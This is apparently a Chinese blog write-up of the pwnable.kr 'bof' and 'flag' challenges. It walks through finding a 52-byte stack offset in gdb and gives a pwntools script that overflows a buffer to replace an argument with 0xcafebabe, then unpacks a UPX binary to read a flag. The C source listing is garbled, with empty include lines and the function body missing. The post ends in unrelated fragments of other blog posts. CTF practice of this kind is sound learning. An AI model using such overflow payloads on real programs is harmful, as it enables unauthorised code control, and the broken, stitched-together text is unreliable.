pwnable bof
原始碼如下
#include
#include
#include
void func(int key)
else
}int main(int argc, char* argv){
func(0xdeadbeef);
return 0;
看原始碼意思就是要比較key與0xcafebabe,然而在main中呼叫func時傳入的引數是0xdeadbeef,目標就是覆蓋0xdeadbeef為0xcafebabe,通過比較得到flag。gets使我們有可控輸入,使用gdb檢視0xdeadbeef與我們要輸入的字串之間的距離,然後覆蓋。
使用checksec檢視bof之後,發現
棧溢位保護,不可執行保護,位址隨機保護,都有。乙個菜雞不知道怎麼辦,看了大佬的部落格。然後發現沒有任何乙個地方提及,未解之謎從假期的第一天開始。
gdb開啟除錯,在main函式下斷(b main)
然後run
在main函式停下,ni到 call func然後si進call
進到func函式之後,ni一直到call get,
然後x/40xw $esp,檢視一下棧情況
我們輸入的字串從0xffffd21c開始。0xdeadbeef在0xffffd250之後,所以0xffffd250-0xffffd21c=52,我們需要覆蓋52個位元組
payload='a'*52 +p32(0xcafebabe)
指令碼為下:
from pwn import *
sh = remote('pwnable.kr',9000)
key = 0xcafebabe
payload = 'a'*52 + p32(key)
sh.sendline(payload)
sh.interactive()
pwnable flag
看見題的當時是蒙的,ida開啟看發現有點詭異,看了別人的部落格發現是upx壓縮啦
upx -d flag -o flag1 解壓之後,ida再開啟看,看見flag這個變數,雙擊過去看,看到了給flag賦值,拿到flag
這個題的考點有點迷,
碎碎念
被期末考打斷了之前的學習節奏,這讓我很難受。所以今天練習點基礎題找一下感覺,今日份的練習結束,開始複習(o(╥﹏╥)o)
暑假部落格 ML第一天
2兩種基本的ml型別 unsupervised learning非監督學習 3cost function代價函式這個翻譯的不形象 重點是,監督學習中,給定了學習資料的答案,要求學習後能給出按照要求的答案型別 有多少,是否是 通過資料和答案學習。在andrew ng 的例子中,主要是從點陣中,得出自變...
2012暑假培訓第一天
今天8.10 哦,突然想起來現在已經是11號了。以後給自己乙個目標,每天發布下一天學的東西。總結下收穫,還有不足。首先,早上去聽了下前端的課 主要是複習了一下html標籤 這是今天上課講的標籤的資料 還有框架frameset標籤的使用,原來用這個標籤這麼神奇,就可以完成一些ajax的效果,以前看到的...
第一天筆記
ide integrated development environment 整合開發環境 常用開發環境有idle pythcharm wingide eclipse ipython 1.ctrl z 和回車 2.輸入quit 命令 3.直接關閉命令列視窗 ctrl c python中一切皆物件。物...